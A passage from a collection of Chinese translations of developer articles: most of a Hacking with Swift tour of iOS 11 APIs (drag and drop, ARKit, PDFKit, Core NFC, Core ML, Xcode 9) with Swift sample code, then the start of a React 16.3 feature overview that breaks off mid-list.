UIDragInteraction, itemsForBeginning session: UIDragSession) -> [UIDragItem] {\n    code\n}\n```\n\n这就像我们之前为我们的 tableView 实现的 `itemsForBeginning` 方法一样：当用户开始拖动我们的 imageView 的时候，我们需要返回我们想要分享的图像。\n\n这些代码是非常好并且简单的：我们会使用 `guard` 来防止我们在 imageView 上拉取图片时出现问题，先用一个 `NSItemProvider` 包装 image，然后返回数据的时候再使用 `UIDragItem` 包装下。\n\n将 `itemsForBeginning` 方法用下面的代码替换：\n\n```\nfunc dragInteraction(_ interaction: UIDragInteraction, itemsForBeginning session: UIDragSession) -> [UIDragItem] {\n    guard let image = imageView.image else { return [] }\n    let provider = NSItemProvider(object: image)\n    let item = UIDragItem(itemProvider: provider)\n    return [item]\n}\n```\n\n这就完成了！ 尝试使用 ipad 多任务处理功能来将图库放在屏幕的右端 —— 你能够通过拖放图片来将图片从你的 APP 拷贝到图库里。\n\n## 增强现实\n\n增强现实 (AR) 已经出现有一段时间了，但是苹果在 iOS 11 上做了一些可圈可点的事情：他们创造了一个卓越的实现就是让 AR 开发可以和现有的游戏开发技术无缝集成。这就意味着你不需要做太多的工作就能把你 SpriteKit 或 SceneKit 技能和 AR 集成起来，这是个非常诱人的前景。\n\nXcode 自带了一个非常棒可以立即使用的 ARKit 模板，因此我鼓励你去尝试一下 —— 你会惊奇地发现实现它是多么的容易！\n\n我想快速地演示下模板的使用，这样你就可以了解到这一切是如何融合在一起的。首先，使用虚拟现实模板创建一个新的 Xcode 工程，然后选择 SpriteKit 作为内容技术。是的，SpriteKit 是一个 2D 框架，但它仍能够在 ARKit 中用得很好，因为它可以像 3D 一样通过扭曲或旋转来展示你的精灵。\n\n如果你打开了 Main.storyboard ，你会发现这个 ARKit 模板与普通的 SpriteKit 模板有所不同：它使用了一个新的 `ARSKView` 界面对象，将 ARKit 和 SpriteKit 两个世界融合在一起。这个对象通过一个 outlet 和 ViewController.swift 连接在一起，在这个控制器中的 viewWillAppear() 方法中构建 AR 追踪，并在 viewWillDisappear() 方法中暂停追踪。\n\n但是，真正起作用的是在两个地方：Scene.swift 文件的 `touchesBegan()` 方法内，和 ViewController.swift 文件的 `nodeFor` 方法。 在通常的 SpriteKit 中你创建节点并把节点直接添加到你的场景中，但是使用 ARKit 后创建的是 __锚点__  —— 包含场景位置和标识符的占位，但它没有实际的内容。根据需要的时候使用 `nodeFor` 方法转换为 SpriteKit 节点。如果你曾使用过 `MKMapView` ，会发现这和 `MKMapView` 添加大头针和标注的方式是类似的 —— 标注是你的模型数据，大头针是 view。\n\n在 Scene.swift 类的 `touchesBegan()` 方法你会看到从 ARKit 拉出当前帧的代码，先计算放入一个新敌人的位置。这是通过矩阵乘法实现：如果你创建一个单位矩阵（表示位置 X:0, Y:0, Z:0 的东西），再将它的 Z 坐标移回 0.2（相当于 0.2 米），你可以乘以当前场景相机位置来实现向用户指向的方向移动。\n\n所以，当用户指向前方锚点就会被放在前方，如果他们指向上方，锚点就会放在上方。一旦锚点被放在那，它就会呆在那：ARKit 将会自动移动，旋转或扭曲来确保当用户的设备移动时与锚点始终正确对齐。\n\n所有的操作可以用三行代码来实现：\n\n```\nvar translation = matrix_identity_float4x4\ntranslation.columns.3.z = -0.2\nlet transform = simd_mul(currentFrame.camera.transform, translation)\n```\n\n一旦计算出来转换，位移就会包装成一个锚点并添加到回话中，就像这样：\n\n```\nlet anchor = ARAnchor(transform: transform)\nsceneView.session.add(anchor: anchor)\n```\n\n最后会调用 ViewController.swift 类的 `nodeFor` 方法。之所以会调用是因为当前 ViewController 被设置成了 `ARSKView` 的代理，\n当前 ViewController 就会在需要的时候负责把锚点转换成节点。你 __不需要__ 担心定位这些节点：记住，锚点已经放置到真实世界的具体坐标上了，ARKit 负责映射锚点的位置并转换成 SpriteKit 节点。\n\n总之，`nodeFor` 方法很简单：\n\n```\nfunc view(_ view: ARSKView, nodeFor anchor: ARAnchor) -> SKNode? {\n    // Create and configure a node for the anchor added to the view's session.\n    let labelNode = SKLabelNode(text: \"Enemy\")\n    labelNode.horizontalAlignmentMode = .center\n    labelNode.verticalAlignmentMode = .center\n    return labelNode;\n}\n```\n\n如果你想知道，ARKit 锚点有一个 `identifier` 属性可以让你知道创建了什么样的节点。在 Xcode 模板中所有的节点都是未知的。但是在你自己的工程中你几乎肯定会想把事物唯一标识出来。\n\n就是这些！这么少的代码带来的结果是非常有效的 —— ARKit 注定是一个大的飞跃。\n\n## 插播广告 \n\n如果你喜欢这篇文章，你可能对我新写的 iOS 11 实践教程新书感兴趣。你将会实际开发基于 Core ML , PDFView , ARKit , 拖拽等更多新技术的工程。 —— __这是学习 iOS 11 最快的方式！__\n\n![](https://www.hackingwithswift.com/img/book-ios11@2x.png)\n\n[Buy Practical iOS 11 for $30](https://www.hackingwithswift.com/store/practical-ios11)\n\n\n## PDF 渲染\n\n自从 OS X 10.4 开始受益于几乎不需要提供任何代码就可以提供 PDF 渲染，操作，标注甚至更多的 PDFKit 框架后，macOS 就始终对 PDF 渲染有着一流的支持。\n\n至于，到了 iOS 11 也可以在系统中使用 PDF 框架的全部功能了：你可以使用 `PDFView` 类来显示 PDF，让用户浏览文档，选择并且分享内容，放大缩小等等操作。或者，你可以使用独立的类比如： `PDFDocument` , `PDFPage` 和 `PDFAnnotation` 来创建你自己自定义的 PDF 阅读器。\n\n和拖放一样，我们可以创建一个简单的 app 来演示 PDFKIT 是多么的简单。如果你愿意的话，你可以继续使用你刚才创建的单视图 app 工程，但你需要向工程中导入一个 PDF 文件来供 PDFKit 去读取。\n\n你需要学习两个新的比较小的类来编写代码，第一个是 PDFView ，它负责所有的负责工作，包括 PDF 渲染，滚动和缩放手势响应，选择文本等。它也是 iOS 系统中常见的 UIView 子类，所以你可以不使用任何参数地创建 PDFView 实例对象，然后使用自动布局来约束它的位置来满足你的需求。第二个是新的类是 PDFDocument ，它可以通过一个 URL 来加载一个在其他地方可以被渲染或者操作 PDF 文档。\n\n把 ViewController.swift 类的全部代码用这个代替：\n\n```\nimport PDFKit\nimport UIKit\n\nclass ViewController: UIViewController {\n    // store our PDFView in a property so we can manipulate it later\n    var pdfView: PDFView!\n\n    override func viewDidLoad() {\n        super.viewDidLoad()\n\n        // create and add the PDF view\n        pdfView = PDFView()\n        pdfView.translatesAutoresizingMaskIntoConstraints = false\n        view.addSubview(pdfView)\n\n        // make it take up the full screen\n        pdfView.leadingAnchor.constraint(equalTo: view.leadingAnchor).isActive = true\n        pdfView.trailingAnchor.constraint(equalTo: view.trailingAnchor).isActive = true\n        pdfView.topAnchor.constraint(equalTo: view.topAnchor).isActive = true\n        pdfView.bottomAnchor.constraint(equalTo: view.bottomAnchor).isActive = true\n\n        // load our example PDF and make it display immediately\n        let url = Bundle.main.url(forResource: \"your-pdf-name-here\", withExtension: \"pdf\")!\n        pdfView.document = PDFDocument(url: url)\n    }\n}\n```\n\n如果运行 app 你应该可以看到你可以使用连续的滚动机制垂直滚动页面。如果你在真机上测试，你也可以通过捏合操作进行缩放 —— 这时你就会发现 PDF 以更高的分辨率重新渲染。如果你想要更改 PDF 的布局样式，你可以试着去设置 `displayMode`, `displayDirection`, 和 `displaysAsBook` 属性。\n\n例如，你可以将页面以双页的模式展现，而封面默认就是这样的：\n\n```\npdfView.displayMode = .twoUpContinuous\npdfView.displaysAsBook = true\n```\n\n`PDFView` 提供了一系列有用的方法来让用户浏览和操作 PDF。为了试验，我们会在我们的控制器上添加一些导航栏按钮，因为这是添加交互最简单的方式。\n\n总共三步，我们先添加一个 navigation controller， 这样我们就有了一个现成的导航栏来使用。所以，打开你的 Main.storyboard ，在大纲视图里选中 View Controller Scene 。再进入编辑菜单选择 Embed In > Navigation Controller 。\n\n接下来，在 ViewController.swift 中的 `viewDidLoad()` 方法中添加以下代码：\n\n```\nlet printSelectionBtn = UIBarButtonItem(title: \"Selection\", style: .plain, target: self, action: #selector(printSelection))\nlet firstPageBtn = UIBarButtonItem(title: \"First\", style: .plain, target: self, action: #selector(firstPage))\nlet lastPageBtn = UIBarButtonItem(title: \"Last\", style: .plain, target: self, action: #selector(lastPage))\n\nnavigationItem.rightBarButtonItems = [printSelectionBtn, firstPageBtn, lastPageBtn]\n```\n\n这些代码添加了三个按钮来实现一些基本的功能。最后，我们只需要写这三个按钮的响应方法就好了，那么把下面这些方法添加到 `ViewController` 类中：\n\n```\nfunc printSelection() {\n    print(pdfView.currentSelection ?? \"No selection\")\n}\n\nfunc firstPage() {\n    pdfView.goToFirstPage(nil)\n}\n\nfunc lastPage() {\n    pdfView.goToLastPage(nil)\n}\n```\n\n现在，如果是在 Swift 3 下，我们可以这么做。但是到了 Swift 4 你将会看到报 \"Argument of '#selector' refers to instance method 'firstPage()' that is not exposed to Objective-C\" 错误。换句话说就是 Swift 的方法对 Objective-C 不可见的，而 `UIBarButtonItem` 是 Objective-C 代码实现。\n\n当然在每个方法之前加上 @objc 是个有效的办法，我猜大部分人可能就耸耸肩（我有什么办法，我也很绝望啊），然后在类之前加上一个 @objcMembers 的定义 —— 这会像之前 Swift 3 那样自动将类的所有东西都暴露给 Objective-C 。所以，把类的定义修改成这样：\n\n```\n@objcMembers\nclass ViewController: UIViewController {\n```\n\n现在这就正确地编译了，现在你将会看到跳转到首页和末页的功能可以直接使用了。至于选择按钮，你只需要在点击按钮之前在 PDF 之前选择一些文本 —— 就像在 iBooks 进行文本选择操作那样。\n\n## 开始支持 NFC 读取\n\niPhone 7 引入了针对 NFC 的硬件支持，至于 iOS 11，NFC 开始支持让我们在自己的 APP 内使用：你现在可以编写代码来检测附近的 NFC NDEF 标签，而且出乎意料地简单 —— 至少在 __代码层面__ 。然而在我们看代码之前，你需要绕过一些坑，所有的我都希望在正式版消失。\n\n**Step 1:** 在 Xcode 里创建一个新的 单视图 APP 模板。\n\n**Step 2:** 去 iTunes 配置网站 [https://developer.apple.com/account](https://developer.apple.com/account/)  为你的 APP 创建一个 包含 NFC 标签读取的 APP ID。\n\n**Step 3:** 为这个 APP ID 创建一个描述文件，并将其安装到 Xcode 中。取消 \"Automatically manage signing\" 选项卡，并且选择你刚才安装的描述文件。你可以点击描述文件旁边的小 “i” 按钮来在权限列表里查看 \"com.apple.developer.nfc.readersession.formats\"。\n\n**Step 4:** 使用 快捷键 Cmd+N 为工程添加一个新的文件，先选择属性列表。把它命名为 \"Entitlements.entitlements\" ，并且确保 \"Group\" 旁边有一个蓝色的图标。\n\n**Step 5:** 打开 Entitlements.entitlements 进行编辑，右击空白处选择 \"Add Row\"。键值为 \"com.apple.developer.nfc.readersession.formats\" 并把它的类型改为数组。点击 \"com.apple.developer.nfc.readersession.formats\" 左侧的指示箭头，再点击右边的 + 标记。这时应该会插入一个带有空值的 \"Item 0\" 键 —— 把它的值改为 \"NDEF\"。  \n\n**Step 6:** 定位到你的 target 的 build settings 找到 Code Signing Entitlements 。在文本框里填入 \"Entitlements.entitlements\" 。\n\n**Step 7:** 打开你的 Info.plist 文件，再右击空白处选择 \"Add Row\" 。添加键为 \"Privacy - NFC Scan Usage Description\" ，值为 \"SwiftyNFC\" 。\n\n是的，就是一团糟。我不知道为什么——能够扫描 NFC 几乎没有比访问某人的健康记录更私密，而且更容易做到。在你思考恶意应用会不会暗地里扫描 NFC 之前，还是省省吧：就像刚才看到的那样，这是根本不可能做到的。\n\n在混乱的设置之后，很高兴地告诉你使 NFC 工作的代码几乎是微不足道的：创建一个属性来存储一个代表当前 NFC 扫描会话的 `NFCNDEFReaderSession` 对象，再创建这个对象并要求它开始扫描。\n\n当你创建读取会话时，你需要给它提供三条数据：它能够发送信息的代理，它应该用于发送这些消息的队列和当它扫描到一个 NFC 标签的时候是否结束扫描。我们会用  `self` 作为代理，`DispatchQueue.main` 作为队列，将值设置为 false 当扫描到一个标签后不停止扫描，所以它会继续扫描直到60秒结束。\n\n打开 ViewController.swift，导入 `CoreNFC`，再把这个属性添加到 `ViewController` 类：\n\n```\nvar session: NFCNDEFReaderSession!\n```\n\n接下来,在 `viewDidLoad()` 方法中添加这两行代码：\n\n```\nsession = NFCNDEFReaderSession(delegate: self, queue: DispatchQueue.main, invalidateAfterFirstRead: false)\nsession.begin()\n```\n\n`ViewController` 现在还没有正确地遵循 `NFCNDEFReaderSessionDelegate` 协议，你需要修改你的类定义来包含它：\n\n```\nclass ViewController: UIViewController, NFCNDEFReaderSessionDelegate {\n```\n\n按照惯例，Xcode 将会报你缺失一些必要方法的错，所以使用它建议的修复来插入下面这两个方法：\n\n```\nfunc readerSession(_ session: NFCNDEFReaderSession, didDetectNDEFs messages: [NFCNDEFMessage]) {\n    code\n}\n\nfunc readerSession(_ session: NFCNDEFReaderSession, didInvalidateWithError error: Error) {\n    code\n}\n```\n\n两个方法都是特别简单的，但是错误的处理也非常简单——我们只是把错误打印到 Xcode 的控制台。在 `didInvalidateWithError` 方法内像这样添加内容：\n\n```\nfunc readerSession(_ session: NFCNDEFReaderSession, didInvalidateWithError error: Error) {\n    print(error.localizedDescription)\n}\n```\n\n现在对于 `didDetectNDEFs` 方法。当它被调用的时候你会得到一个检测到的消息的数组，数组每一个元素都可以包含描述单个数据的一个或更多记录。例如，你可能会看到 NFC 被用作启动 Google Cardboard app: Cardboard 设备有一个简单的包含绝对 URL \"cardboard://V1.0.0\" 的 NFC 标签，当设备检测到标签后会唤起 APP 显示。\n\n用 NFC 数据的处理就是你需要做的事了，我们只是把他打印出来了，把你的 `didDetectNDEFs` 修改成这样：\n\n```\nfunc readerSession(_ session: NFCNDEFReaderSession, didDetectNDEFs messages: [NFCNDEFMessage]) {\n    for message in messages {\n        for record in message.records {\n            if let string = String(data: record.payload, encoding: .ascii) {\n                print(string)\n            }\n        }\n    }\n}\n```\n\n所有的代码就完成了，那么继续开始运行这个 app 吧！如果所有的部分都起作用了，你将立即看到系统用户界面出现提示用户将其设备靠近要扫描的位置。这就是为什么恶意应用程序滥用 NFC 扫描是不可能的 - 不仅我们无法控制用户界面，而且 60 秒后扫描也会因为超时结束以避免浪费电量。\n\n## 机器学习和视觉识别\n\n机器学习是现在最时髦的流行语，就是让计算机根据过去接触到的处理规则来适应新的数据。比如，如果你只有一张吉他画和一个空的 Swift 类，那么”这幅画中有吉他吗？“是个非常难回答的问题，但是如果你使用大量包含吉他的图片样本来构建一个训练模型，这时你就可以有效地训练计算机识别出包含吉他的新图像。\n\n听上去很无聊，但实际上是 iOS 11 上大量的先进技术的基础：Siri，照相机，Quick Type 都使用了机器学习来帮助它们更好的理解我们所在的世界。iOS 11 还引入了一个新的 Vision 框架，这是一个从 Core Image ，机器学习功能和所有新技术组成的一个有点模糊的组合。\n\n在 iOS 11 里所有的这些都是由一个叫做 Core ML 的机器学习框架提供，该框架旨在支持各种各样的模型，而不仅仅是识别图像。信不信由你，编写 Core ML 的代码是很少的，然而这只是事情的一面。\n\n你清楚的，Core ML 需要训练模型才能工作，而模型是用算法在大量数据训练得出的。这些模型可以从几千字节到数百兆字节甚至更多，而且明显需要一定的专业知识才能训练，特别是当你处理图像识别的时候。令人欣喜的是，苹果提供了一些可以用来快速上手和运行的模型，所以如果你只是想要尝试下使用 Core ML ，实际上是非常简单的。\n\n难过的是，还有事情还有另外一面：第三方框架总是非常恶心的，你明白的，Core ML 模型为我们自动生成接收一些输入数据并返回一些输出数据的代码 - 这部分是非常友好的。但悲伤的是，处理图像时所需的输入数据不是 “UIImage”，也不是 “CGImage”，更不是 “CIImage” 。\n\n相反，苹果选择让我们使用 “CVPixelBuffer” 输入。`CVPixelBuffer` 放进我的代码中就像血友病聚会上来了头豪猪一样不受欢迎。没有把 UIImage 转换为 CVPixelBuffer 的完美有效的方法，我是很有资格说的，因为我浪费了几个小时来寻求解决方案。幸运的是 [Chris Cieslak](https://twitter.com/cieslak) 非常慷慨把他的代码分享给我，在他的 [WTFPL](http://www.wtfpl.net/about/) 下转换是非常有效的，所以你也可以使用它进行转换。\n\n现在让我们尝试下 Core ML 吧。先创建一个新的单视图 APP 工程（或者继续使用你现有的工程），再在工程里添加一张图片 —— 我添加的是维基百科里的 [华盛顿杜勒斯国际机场](https://upload.wikimedia.org/wikipedia/commons/9/92/Washington_Dulles_International_Airport_at_Dusk.jpg) 。把这张图片重命名为 \"test.jpg\" 以避免拼写错误。\n\n现在我们有一些输入测试，我们需要添加一个训练好的模型。它可能没有看到过我们确切的照片，但它需要接触些类似的图片以便识别出这个机场。苹果在 [https://developer.apple.com/machine-learning](https://developer.apple.com/machine-learning/) 上提供了一些预配置的模型 —— 现在进入网站，并下载 “Places205-GoogLeNet” 模型。 模型只有 25MB，所以它不会占用你用户设备上太多空间。\n\n当你下载好模型后，先把它拖到你的 Xcode 工程中，再选择它，这时你就可以看到 Core ML 的模型查看器。你会看到它是由 MIT 制作的神经网络分类器，还有可以根据知识共享许可证使用。在这个下面，你将看到它有 “sceneImage” 作为输入，还有 “sceneLabelProbs ” 和 “sceneLabel” 作为输出 —— 输入一张图片，输出一些计算机识别这张图片的文本描述。\n\n你还将看到 “Model class” 和 “Swift generated source” —— Xcode为我们生成了一个类，只包含几行代码，这一点非常显著，你将很快看到。\n\n现在，我们有一个可以识别的图像和一个可以检查它的训练好的模型。 我们现在需要做的是将两者放在一起：加载图片，为模型准备图片，最后询问模型的预测。\n\n为了使这个代码更容易理解，我把它分成了一些块。 首先，打开 ViewController.swift 并将其修改为：\n\n```\nimport UIKit\n\nclass ViewController: UIViewController {\n    override func viewDidLoad() {\n        super.viewDidLoad()\n\n        let image = UIImage(named: \"test.jpg\")!\n\n        // 1\n        // 2\n        // 3\n    }\n}\n```\n\n这只是加载我们准备被处理的测试图片。 接下来的步骤是从 “// 1” 开始逐个填写这三个注释。\n\n基于图像的 Core ML 模型要求以精确的尺寸接收图片，这是他们接受过训练的尺寸。 对于 GoogLeNetPlaces 模型尺寸应该是 224 x 224 而其他模型有它们各自的尺寸，而 Core ML 会告诉你是否以错误的尺寸输入了东西。\n\n所以，我们需要的第一件事是缩小我们的图像，让图片恰好是 224 x 224 ，而不管我们是使用视网膜屏设备还是其他的设备。 这可以使用 “UIGraphicsBeginImageContextWithOptions（）” 方法来强制 1.0 的比例。 用下面的代码替换这个 `// 1` 注释：\n\n```\nlet modelSize = 224\nUIGraphicsBeginImageContextWithOptions(CGSize(width: modelSize, height: modelSize), true, 1.0)\nimage.draw(in: CGRect(x: 0, y: 0, width: modelSize, height: modelSize))\nlet newImage = UIGraphicsGetImageFromCurrentImageContext()!\nUIGraphicsEndImageContext()\n```\n\n这给了我们一个新的叫做 “newImage” 常量，它是一个符合模型中正确尺寸的 “UIImage”。\n\n现在第二部分要做的是从 “UIImage” 到 “CVPixelBuffer” 之间恶心的转换。 因为这是毫无意义的复杂操作，所以我不打算试图解释所有的各个步骤。除了拷贝下面的代码，我不建议你做任何事情。 用下面的代码替换这个 `// 2` 注释：\n\n```\nlet attrs = [kCVPixelBufferCGImageCompatibilityKey: kCFBooleanTrue, kCVPixelBufferCGBitmapContextCompatibilityKey: kCFBooleanTrue] as CFDictionary\nvar pixelBuffer : CVPixelBuffer?\nlet status = CVPixelBufferCreate(kCFAllocatorDefault, Int(newImage.size.width), Int(newImage.size.height), kCVPixelFormatType_32ARGB, attrs, &pixelBuffer)\nguard (status == kCVReturnSuccess) else { return }\n\nCVPixelBufferLockBaseAddress(pixelBuffer!, CVPixelBufferLockFlags(rawValue: 0))\nlet pixelData = CVPixelBufferGetBaseAddress(pixelBuffer!)\n\nlet rgbColorSpace = CGColorSpaceCreateDeviceRGB()\nlet context = CGContext(data: pixelData, width: Int(newImage.size.width), height: Int(newImage.size.height), bitsPerComponent: 8, bytesPerRow: CVPixelBufferGetBytesPerRow(pixelBuffer!), space: rgbColorSpace, bitmapInfo: CGImageAlphaInfo.noneSkipFirst.rawValue)\n\ncontext?.translateBy(x: 0, y: newImage.size.height)\ncontext?.scaleBy(x: 1.0, y: -1.0)\n\nUIGraphicsPushContext(context!)\nnewImage.draw(in: CGRect(x: 0, y: 0, width: newImage.size.width, height: newImage.size.height))\nUIGraphicsPopContext()\nCVPixelBufferUnlockBaseAddress(pixelBuffer!, CVPixelBufferLockFlags(rawValue: 0))\n```\n\n如果可能使用很多次上面的代码，你可能想要把这些复杂代码封装到一个函数里边。但无论你如何操作，请不要试图去记住它。\n\n现在开始重要的，有趣的和微不足道的部分：实际使用 Core ML 框架，这只有三行代码，相当坦率地说，非常简单。 就像我所说的，Xcode 自动根据 Core ML 模型生成一个 Swift 类，所以我们可以立即实例化一个 “GoogLeNetPlaces” 对象。\n\n最后我们可以将我们的图片缓存传递给它的 “prediction()” 方法，这个方法将返回预测结果或抛出一个错误。 在实践中，你可能会发现使用 `try？' 更容易获得一个值或是 nil 。 最后，我们将打印出预测结果，以便你了解到 Core ML 的表现。\n\n用下面代码替换替换这个 `// 3` 注释：\n\n```\nlet model = GoogLeNetPlaces()\nguard let prediction = try? model.prediction(sceneImage: pixelBuffer!) else { return }\nprint(prediction.sceneLabel)\n```\n\n不管你相不相信，这就是使用 Core ML 的所有代码； 这简单的三行代码做完了所有的工作。 你打印出来的结果取决于你的输入内容和你的训练模型，但 GoogLeNetPlaces 正确地将我的图片识别为机场航站楼，这一切完全在设备上完成 —— 无需将图片发送到远程服务器处理，因此在这个黑盒子里你得到了极好的隐私保护。\n\n## 更多其他的更新。。。\n\niOS 11 还有大量的其他更新 —— 这些是我最喜欢的：\n\n- Metal 2 被设置成提高整个系统的图形性能。我没在这提供代码示例是因为这实在是一个高深的话题 —— 大多数人只会很高兴看到他们的 SpriteKit ，SceneKit 和 Unity 应用程序无需额外的工作就可以获得更快的速度。\n- TableView Cell 现在自动支持自适应。以前都是设置 `UITableViewAutomaticDimension` 作为行高来触发自适应行为。但现在再也不需要设置了。\n- TableView 增加了一个 新的基于闭包的 `performBatchUpdates()` 方法，它可以让你一次性对多行的插入、删除、移动操作进行动画处理，甚至可以在动画完成之后立即执行结束闭包。\n- 在  Apple Music 第一次出现的新的加粗黑标题现在可以再整个系统使用了，同时支持通过一个细小的改动在我们自己的 APP 使用：在 IB 内为我们的导航条选择 \"Prefers Large Titles\" ，或者如果你更喜欢使用代码的话使用 `navigationController?.navigationBar.prefersLargeTitles = true` 来设置。\n- 为了支持 `safeAreaLayoutGuide`  `topLayoutGuide`属性被弃用了。它提供了所有边的边缘而不仅仅是顶部和底部，这可能预示未来的 iPhone 为非矩形布局 —— 带有沉浸式相机的全屏幕 iPhone 8，有人有异议吗？\n- Stack views 增加了一个 `setCustomSpacing(_:after:)` 方法，这可以让你在 stack view 添加你想要的而不是统一大小的空白。\n\n## 接下来就是 Xcode\n\nXcode 9 是我见过的最令人兴奋的 Xcode 版本 —— 它充满了令人难以置信的新功能，甚至可以使最坚定的 Xcode 抱怨者重新考虑。\n\n这些是最吸引我的功能更新：\n\n- 可以在编辑器内进行 Swift 和 Objective-C 的重构，这意味着你只需点击几下鼠标就可以对你的代码进行彻底的更改（例如对方法重命名）。\n- iOS 和 tvOS 支持无线调试了。为了使用这个功能，先使用 USB 连接你的设备，再在 Window 菜单里选择 Devices and Simulators 。\n选择你的设备，最后选择 \"Connect via network\" 。如果第一次不能成功 不必感到惊奇 —— 这还是 beta 1 版本！\n- 源代码编辑器使用 Swift 进行了重写，带来了滚动和搜索的速度极大的提升。以及一些其他有用的功能，比如按住 Ctrl 键时的范围高亮显示。\n- 你现在可以将命名颜色添加到 asset catalogs，这样你可以定义一次颜色， 在任何地方使用 `UIColor(named:)` 方法初始化。\n- 默认情况下启用了一个新的主线程检查器，当检测到任何不在主线程上执行的 UIKit 方法调用时，它将自动发出警告 - 这是常见的错误源头。\n- 你现在可以同时运行多个模拟器，甚至可以自由调整它们的大小。 苹果在模拟器周围添加了额外的用户界面，以便我们访问硬件控件。\n- 如果您不想立即使用 Swift 4，则会有一个新的 “Swift Language Version” 构建设置，您可以选择 Swift 4.0 或 Swift 3.2。 两者都使用相同的编译器，但在内部启用不同的选项\n\n认真的，我希望我今年在 WWDC 现场，这样我就给 Xcode 工程师一个熊抱 —— 这是一个炙手可热的版本，让 Xcode 在奔向伟大的路上越行越远。\n\n## 还在等什么？\n\n现在你已经了解了 iOS 11 中的新功能，你也应该看一看我的新书：[Practical iOS 11](/store/practical-ios11)。这是一本用实际项目讲解 iOS 11 中所有主要变化的书籍，拥有它你可以尽可能快地熟悉 iOS 11。\n\n[![Practical iOS 11](https://www.hackingwithswift.com/img/book-ios11@2x.png)](https://www.hackingwithswift.com/store/practical-ios11)\n\n[Buy Practical iOS 11 for $30](https://www.hackingwithswift.com/store/practical-ios11)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/whats-new-in-react-16-3.md",
    "content": "> * 原文地址：[What’s new in React 16.3(.0-alpha)](https://medium.com/@baphemot/whats-new-in-react-16-3-d2c9b7b6193b)\n> * 原文作者：[Bartosz Szczeciński](https://medium.com/@baphemot?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-react-16-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/whats-new-in-react-16-3.md)\n> * 译者：[pot-code](https://github.com/pot-code)\n> * 校对者：[ryouaki](https://github.com/ryouaki)、[goldeli](https://github.com/goldeli)\n\n# React 16.3(.0-alpha) 新特性\n\nReact 16.3-alpha 于不久前[推至 npmjs](https://twitter.com/brian_d_vaughn/status/959535914480357376)，已经可以用在项目中了，你最关心哪些变化呢？\n\n>2018 年 2 月 5 日更新 —— 之前我误解了 `createContext` 的一些行为，所以更新了这一节的内容，主要为了反映出工厂方法的一些行为。\n\n### 全新的 context API\n\nContext API 一直很神秘 —— 本来它是一个官方推出的、文档化的 API，但开发者们又提醒我们尽量不要用这个 API，因为这个 API 还没完全确定下来，以后可能会再作修改，而且文档尚不完备。不过，是时候让它发光发热了，[RFC 流程](https://github.com/reactjs/rfcs/blob/master/text/0002-new-version-of-context.md)已经通过了，新的 API 代码也已经合并了，用起来也更加顺手了。至少在状态管理这方面，如果项目并不复杂的话，完全可以不用 Redux 和 MobX。\n\n新的 API 方法主要体现在 `React.createContext()` 上，调用之后会创建两个组件：\n\n![](https://cdn-images-1.medium.com/max/800/1*HgQMzO2N59Z20NeK5ACGzQ.png)\n\n调用 `React.createContext()` 创建一个上下文（context）对象\n\n这个工厂方法返回的对象包含“Provider”和“Consumer”两个属性，即上文提到的两个组件。\n\nProvider 组件用来为其所有子层级组件提供数据，示例如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*R5GQSLcfedGZiTyoSRDVsg.png)\n\n在上图中，将需要接受数据的组件放在 `ThemeContext.Provider` 下，设置其 `value` 属性，用来存放需要传递的数据。当然这个 `value` 也可以是动态变化的（用 `this.setState`）。\n\n接下来设置 Consumer 组件：\n\n![](https://cdn-images-1.medium.com/max/800/1*XhcIeUaD1G1rpV0c8MYZvA.png)\n\n如果你把 Consumer 组件放在了 Provider 组件的外部（不在它的下面），其值会默认使用调用 `createContext` 时传入的值。\n\nPS：\n\n* Consumer 组件只能获取到对应的 Context 里设置的数据，即使新创建了一个 Context，传入和已有的 Context 一样的参数，不属于这个 Context 的 Consumer 是获取不到它设置的数据的。所以，不妨把 Context 看成一个组件，相同用途的 Context 只创建一次，再根据需要作导入导出（export/import）。\n* 新的写法采用的是”方法即子组件模式”（即 [function as child pattern](https://medium.com/merrickchristensen/function-as-child-components-5f3920a9ace9)，有时也称作 render prop 模式），如果你对这种模式很陌生，可以参考[这里](https://medium.com/merrickchristensen/function-as-child-components-5f3920a9ace9)。\n* 新的 API 不用再通过 `prop-types` 设置 `contextProps` 了。\n\n`Consumer` 下的 `context` 参数对应了 `Provider` 组件里设置的 `value` 属性，修改 Provider 里设置的数据会导致对应的 Consumer 下的组件重新渲染。\n\n### 新的生命周期方法\n\n另一个促使其进入 alpha 阶段的 [RFC](https://github.com/reactjs/rfcs/blob/master/text/0006-static-lifecycle-methods.md) 和某些生命周期方法的废除有关，同时也还会引进一个（译者注：其实还有另外三个方法 —— 要废除的生命周期方法前面加个“UNSAFE_”前缀构成的新方法）新的方法。\n\n这些改变旨在引导开发者作出最佳实践（将被废除的这些生命周期方法颇具坑点，具体可以参考我写的[另一篇文章](https://medium.com/@baphemot/understanding-reactjs-component-life-cycle-823a640b3e8d)），这也有益于适应将来全面开放的异步渲染模式（这也是 React 16 “Fiber” 的首要目标）。\n\n即将被废除的方法如下：\n\n* `componentWillMount` —— 即将废除，使用 `componentDidMount` 作为替代\n* `componentWillUpdate` —— 即将废除，使用 `componentDidUpdate` 作为替代\n* `componentWillReceiveProps` —— 即将废除，使用新引进的方法 `static getDerivedStateFromProps`\n\n不要瞎慌，这些方法现在都可以正常使用，不影响，到 16.4 版本才会正式打上“已废除”的标记，真正移除可能要到 17.0 以后。\n\n![](https://cdn-images-1.medium.com/max/800/1*x-Sf7tN3BNWuL4SWMGyFTg.png)\n\nDan 表示，“故事还长，大家别慌”，然而仍有群众表示恐慌。\n\n如果你开启了 `StrictMode` 或是 `AsyncMode`，它只会提示你方法已经废除了，不想看到这些提示信息可以使用如下方法替代：\n\n* `UNSAFE_componentWillMount`\n* 